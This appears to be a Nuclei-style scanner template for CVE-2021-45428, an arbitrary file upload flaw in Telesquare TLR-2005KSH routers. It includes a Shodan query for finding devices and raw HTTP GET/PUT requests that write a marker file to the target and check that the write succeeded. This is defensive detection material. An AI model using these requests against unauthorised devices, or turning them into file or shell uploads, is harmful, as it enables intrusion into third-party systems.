54 lines
1.9 KiB
YAML
54 lines
1.9 KiB
YAML
id: CVE-2021-45428
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info:
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name: Telesquare TLR-2005KSH 1.0.0 - Arbitrary File Upload
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author: gy741
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severity: critical
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description: |
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TLR-2005KSH is affected by an incorrect access control vulnerability. THe PUT method is enabled so an attacker can upload arbitrary files including HTML and CGI formats.
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impact: |
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Successful exploitation of this vulnerability could result in unauthorized accessand data leakage.
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remediation: |
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Apply the latest security patch or update to a version that addresses the arbitrary file upload vulnerability.
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reference:
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- https://drive.google.com/file/d/1wM1SPOfB9mH2SES7cAmlysuI9fOpFB3F/view?usp=sharing
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- http://packetstormsecurity.com/files/167101/TLR-2005KSH-Arbitrary-File-Upload.html
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- https://nvd.nist.gov/vuln/detail/CVE-2021-45428
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 9.8
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cve-id: CVE-2021-45428
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cwe-id: CWE-639
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epss-score: 0.08441
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epss-percentile: 0.9381
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cpe: cpe:2.3:o:telesquare:tlr-2005ksh_firmware:-:*:*:*:*:*:*:*
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metadata:
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verified: true
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max-request: 3
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vendor: telesquare
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product: tlr-2005ksh_firmware
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shodan-query: http.html:"TLR-2005KSH"
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tags: cve2021,cve,telesquare,intrusive,fileupload,packetstorm
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http:
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- raw:
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- |
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GET /{{randstr}}.txt HTTP/1.1
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Host: {{Hostname}}
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- |
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PUT /{{randstr}}.txt HTTP/1.1
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Host: {{Hostname}}
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CVE-2021-45428
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- |
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GET /{{randstr}}.txt HTTP/1.1
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Host: {{Hostname}}
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matchers-condition: and
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matchers:
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- type: dsl
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dsl:
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- 'status_code_1 == 404 && status_code_2 == 201'
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- 'contains(body_3, "CVE-2021-45428") && status_code_3 == 200'
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condition: and
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# digest: 4a0a00473045022100d9fc6510bdf7219e2bc2a81c80448dc294bebb5e20b998cbe1b26b1fe5e82e9702204b55717ced95cd916960066e5e1418bcbcd026813828a167a9055f900d4775ec:922c64590222798bb761d5b6d8e72950 |